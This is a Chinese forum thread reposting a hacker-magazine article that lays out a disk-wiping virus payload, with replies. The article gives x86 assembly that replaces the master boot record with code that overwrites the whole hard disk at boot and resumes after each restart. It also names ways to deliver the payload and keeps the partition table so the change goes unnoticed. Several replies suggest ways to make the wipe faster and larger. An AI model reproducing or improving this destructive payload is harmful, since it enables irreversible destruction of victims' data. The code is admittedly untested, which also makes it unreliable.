Men like wind
驱动牛犊
驱动牛犊
  • 注册日期2003-03-07
  • 最后登录2010-06-24
  • 粉丝0
  • 关注0
  • 积分280分
  • 威望29点
  • 贡献值0点
  • 好评度29点
  • 原创分0分
  • 专家分0分
阅读:5234回复:6

最具硬盘破坏力的病毒

楼主#
更多 发布于:2003-05-03 19:26

如果有人问你,对硬盘数据最具破坏力的病毒是什么?你可能会说是CIH之类,可是你又要奇怪了,
为什么我们经常听到各大反病毒公司发布“今天4月26日,CIH病毒再次发作,XX公司又成功修复近百块
硬盘”的消息,到网上随便找找都可以找到一把关于如何恢复被CIH破坏了的硬盘的教学文章,甚至笔
者这样的菜鸟都成功恢复过几块被CIH破坏了的硬盘或是硬盘的大部分数据。
那你又要说,既然CIH不至于叫你太难过,那硬盘逻辑锁总叫你为难了吧,叫你不但硬盘不能引导,
连软盘、光区都不能引导。哈哈!硬盘逻辑锁只是利用了操作系统引导的一个小BUG而已!笔者就曾经利
用这个原理写过一个由于磁盘加密的硬盘保护锁,在9月的《黑客X档案》上我有介绍(你可到
http://www.heibai.net/download/show.php?id=2792下载),当然我的程序只是用于数据保护的,不是
破坏硬盘的,虽然和一些硬盘炸弹原理相同,可出发点不同就完全不同了,硬盘逻辑锁的原理是将硬盘
的主引导区中的分区表做了修改,让扩展分区指向分区表所在的分区,操作系统引导时在寻找扩展分区时
总是找到自己,从而陷入无穷的循环。知道了这一原理,要解除硬盘逻辑锁就简单了,只要动手做一个特
殊的引导软盘,将MBR区的分区表清除再重建分区表就一切OK了。
说到这你又要问了,那你说对硬盘最有破坏的病毒是怎么样的呢?有没有一个病毒发作后硬盘数据将
无法恢复呢?答案是肯定的,不信就听我慢慢道来。
首先,让我们来看看为什么被CIH迫害的硬盘还可能恢复,不要以为是陈盈豪先生的善良仁慈,CIH在
发作时利用了VxD技术,在Windows环境中直接写硬盘扇区,它会从硬盘第一物理扇区(0柱0面1扇区)开始,
向其中写入垃圾数据,这也是CIH的高明之处。这样看来,CIH并非不想将垃圾数据写满整个硬盘,如果让
它写满整个硬盘的话,你就看不到有关恢复被CIH破坏的硬盘的消息了,神仙也救不了你的可怜的数据
了,那么是什么阻止了CIH向硬盘写垃圾数据呢?答案是WINDOWS系统,CIH在向硬盘写入的过程中,会
覆盖WINDOWS系统要用到的一些数据,或是在覆盖到FAT表的时候,WINDWOS系统正好在通过FAT表读取硬盘
中的系统文件,而此时FAT已经破坏,致使WINDOWS系统无法读取硬盘数据,导致死机,正是因为死机,才
保住了我们宝贵的数据。
下面说说我的病毒思路,其中用到了CIH的一些方法,也利用了系统引导的薄弱之处,我说的只是病毒
的发作部分,至于你是要将其嵌入PE文件,还是把它做为邮件附件利用MIME漏洞或是骗人点击再或是利用程
序修改文件关联我不管。此病毒分两步走,第一步在WINDOWS系统中,将第二步要用到的代码写入硬盘的MBR
区;第二步也是关键的一步,将垃圾数据从硬盘第一物理扇区(0柱1道1扇区)开始写入。说到此,有必要介
绍一下系统的引导过程。
PC机最初的启动由BIOS完成。当开机自检结束时(Power-On Self Test,POST), 老的BIOS尝试读入软盘
的第一个扇区,把它看作引导扇区。若没有软盘,则尝试读入硬盘 的第一个扇区。当然现在的BIOS可以改
变这种次序,先从硬盘启动,实际操作是将硬盘的第一扇区,位于0柱0道1扇的主引导区(master boot
sector)读入内存0000:7C00处,并把控制权交给MBR的主引导程序,MBR程序的先把自己从0000:7C00处
读到0000:0600之后再检查分区表并将引导标识(BOOT Boot flag)为80H的分区的第一个扇区(既引导
记录)读入内存0000:7C00处(这也是为什么MBR程序要先将自己读入0000:0600的原因,否则在没移交
控制权前就死机了),并把控制权移交给操作系统的引导记录。不同的操作系统的引导程序是不同的,对
于WIN9X来说引导过程如下:
1、98的引导区中的引导程序首先根据引导记录中的操作系统参数,读取文件分配表(FAT),并从操作系统
的第2个簇将IO.SYS读入内存,将控制权交IO.SYS程序。(这也是为什么IO.SYS只能用sys命令传输而不能
拷贝的原因,因为IO.SYS必须从分区的2簇开始,并且在连续的簇中,否则引导扇中的引导记录就不到
IO.SYS了)
2、执行config.sys和autoexec.bat。
3、调用win.com运行VMM32.VxD,VMM32.VxD用xms驱动程序把VMM加载到扩展内存。VMM初始化自身及其它
的默认VxD。 VMM把机器转入到保护模式并创建系统虚拟机。
4、被加载的虚拟外壳设备在系统虚拟机上通过运行krnl386.exe来启动Windows。krnl386.exe加载所有的
文件,最后是Windows9X外壳。
不难看出,BIOS将MBR读入内存,不会对MBR的内容做任何检查,马上就将执行权交给MBR中的主引导程序
,根据这一原理,我们可以把MBR中的程序改成自己的程序,当然我说的病毒发作程序也是利用这个系统
弱点,在操作系统之前得到控制权,将垃圾数据写入硬盘,给硬盘数据以毁灭性的打击。下面来说说一些
实现的细节。
第一步:将具有写垃圾数据到硬盘功能的代码写入硬盘MBR区,当然在不同的系统环境中实现的方法是不
一样的,在16位的系统中可以这样写:
DATA SEGMENT
mbr db \'.......\' ;其中\"...\"代表要写入MBR中的十六进制码共1BE字节
DATA ENDS

CODE SEGMENT
ASSUME CS:CODE,DS:DATA,ES:DATA
START:
.
.
.
mov ax,0201h
mov cx,0001h
mov dx,0080h
mov bx,7000h
int 13h ;将原来的MBR区读入内存ES:7000H,因为程序还要保留MBR中的分区表,以免

;用户从其他盘启动不能找到硬盘时产生怀疑。
mov si,offset mbr
mov di,7000h
mov cx 1beh
repnz movsb ;将要写入MBR区的代码,在内存中覆盖读入内存中的原MBR代码,等待写入MBR区
mov ax,0301h
mov cx,0001h
mov dx,0080h
mov bx,7000h
int 13h ;将破坏代码写入硬盘MBR区,等待重启动后破坏硬盘数据
.
.
.
CODE ENDS
END START
以上是在16位环境中实现将破坏代码的写入,但是值得一提的是以上代码在WIN9X系统中仍然可以执
行,但既然是在9X下我们最好是用VXD来实现,尤其是要植入PE文件中的话。可以调用Vxd call
IOS_SendCommand直接对硬盘进行存取,关键是你如何取得Ring0,这一点CIH早已做好了答案,修改IDT表
,创建一个中断门,然后发生中断,进入ring0(我不得不佩服陈盈豪),如果你有兴趣的话,可以找份
源程序看看。但是要强调一点,VxD是WIN9X特有的,它在NT下是不能被运行的,在NT下要实现执行Ring0
代码,除了编写设备驱动程序外,可能还是有一些方法的。
第二步:通过系统引导实现向硬盘写垃圾数据,这一部分的代码不论是什么系统都是一样的。
1、在破坏硬盘数据之前给出一些提示比如象WIN98的提示那样“Windows starting...”其目的是拖
延时间,让程序有足够的时间破坏硬盘,当然还是没有提示的好,因为一提示可能会弄巧成拙引起用户的注
意。要注意的是因为还没有操作系统,所以我们只能调用BIOS的中断10H,一个字符一个字符的显示,显示
一个字符后将光标后移,再把指向字符串的指针后移,显示下一字符,比较麻烦,我们不可以用DOS的9H
号功能调用,因为此时还没有DOS;
2、在写入MBR区的代码在指定位置存放上次被用户中断前最后备份的DH的值,也就是程序最后向硬盘写
入的磁头号,(当然第一次执行时其值为零)假设此值被存放在MBR区偏移1b0H的位置,这样如果用户发
现机器不能启动后,可能会反复重启动计算机,每次启动都会接着上次没写完的地方继续狂写垃圾数据;
3、实现向硬盘写垃圾数据的部分代码:

.
.
.
mov ax,0201h
mov cx,0001h
mov dx,0080h
mov bx,f000h
int 13h ;将MBR读入硬盘0000:f000H


mov ch,01H
mov cl,01h
mov dh,[f1bOh] ;要写入的柱面号此时保存在0000:f1b0h
mov dl,80h
WRITE:
mov ax,033fh ;一次写63个扇区
mov bx,0000h ;写的内容为内存垃圾
int 13h
cmp ch,ffh
jz next1
INC ch
jmp write
next1:
add cx,40h
cmp cx,ffc1h ;是否写完一个柱面
jz next2
mov ch,00h
jmp write
next2:
cmp dh,ff
jz exit ;硬盘已写完
inc dh ;磁头数加1
mov [f1b0h],dh
push ax
push bx
push cx
push dx
mov ax,0201h
mov cx,0001h
mov dx,0080h
mov bx,f000h
int 13h ;将DH中的柱面号保存
pop dx
pop cx
pop bx
pop ax
mov cx,0001
jmp write
exit:
.
.
.

因为以上代码不是在保护模下执行,就不至于死机了,那么就可以将垃圾数据完全写满整个硬盘了,
但是非常可惜的是,用这个方法在实模式下只能写大约8G的空间,因此回头想想这种程序如果称为“最具
硬盘破坏力的病毒”是牛逼了一点,不知道哪位仁兄能够在实模式下突破这8G的限制,可以与我交流,我
的QQ是86633320 ,另外因为此代码我从未调试过,难免出错,也希望大家指正。
最后本人要郑重声明的是:我写本文的目的有二,其一是希望能提高广大电脑用户的安全意识,不要
盲目的相信数据恢复软件,因为有些数据是不能恢复的,也不要盲目的相信杀毒软件,因为世界上每天都
在诞生新的病毒。其二是技术交流,破坏不是我的目的,如果有人利用本文中提到的技术做任何违反中华
人民共和国法律的事情,一切后果自负。
文章作者:风般的男人,并该文在2002年12月的《黑客X档案》发表,如有转载,请保持文章完整并请注明!

最新喜欢:

mukingmuking
lidf
驱动牛犊
驱动牛犊
  • 注册日期2001-04-24
  • 最后登录2010-10-24
  • 粉丝0
  • 关注0
  • 积分10分
  • 威望1点
  • 贡献值0点
  • 好评度1点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2003-10-09 13:32
不要吓唬我好不好~~~~
cisc
gjltce
驱动小牛
驱动小牛
  • 注册日期2003-07-05
  • 最后登录2011-12-10
  • 粉丝0
  • 关注0
  • 积分9分
  • 威望59点
  • 贡献值0点
  • 好评度25点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2003-10-13 15:58
W2k 中咋用?
test2test
驱动牛犊
驱动牛犊
  • 注册日期2003-07-03
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分46分
  • 威望7点
  • 贡献值0点
  • 好评度5点
  • 原创分0分
  • 专家分0分
地板#
发布于:2003-11-27 18:25
有意思!!!
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
地下室#
发布于:2003-12-15 14:36
靠,风流男人,跑这里来吓人啊,嘿嘿,破坏128GB硬盘的资料不是有了吗?装什么啊??还有IO的方法必须借助DMA,不然速度慢的受不了,破坏的时候创建多个内核线程,先破坏扩展分区的信息,最后修改MBR,操作系统分区不是更好??
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
玄风残翼
驱动牛犊
驱动牛犊
  • 注册日期2005-10-10
  • 最后登录2015-04-07
  • 粉丝0
  • 关注0
  • 积分21分
  • 威望172点
  • 贡献值0点
  • 好评度24点
  • 原创分0分
  • 专家分0分
5楼#
发布于:2007-07-23 23:04
在网上随便搜了个帖子,看了半天发现这儿居然是驱网。
studehard
驱动牛犊
驱动牛犊
  • 注册日期2008-02-28
  • 最后登录2008-03-31
  • 粉丝0
  • 关注0
  • 积分150分
  • 威望16点
  • 贡献值0点
  • 好评度15点
  • 原创分1分
  • 专家分0分
6楼#
发布于:2008-03-14 13:41
引用第4楼wowocock于2003-12-15 14:36发表的  :
靠,风流男人,跑这里来吓人啊,嘿嘿,破坏128GB硬盘的资料不是有了吗?装什么啊??还有IO的方法必须借助DMA,不然速度慢的受不了,破坏的时候创建多个内核线程,先破坏扩展分区的信息,最后修改MBR,操作系统分区不是更好??


现在TB硬盘都出来了   直接弄端口是跟不上时代发展的,还是要在磁盘过滤层上干!

我很久以前试过,直接调用INT13H写盘速度仍然很快............INT13H似乎没有DMA啊?
在xp中也指定为PIO方式,速度也很快! 关键是一次要操作多个扇区,不要一个扇区一个扇区去做.....




怪不得MJ会骂风人了,我看到这文章都有点起鸡皮什么的了
游客

返回顶部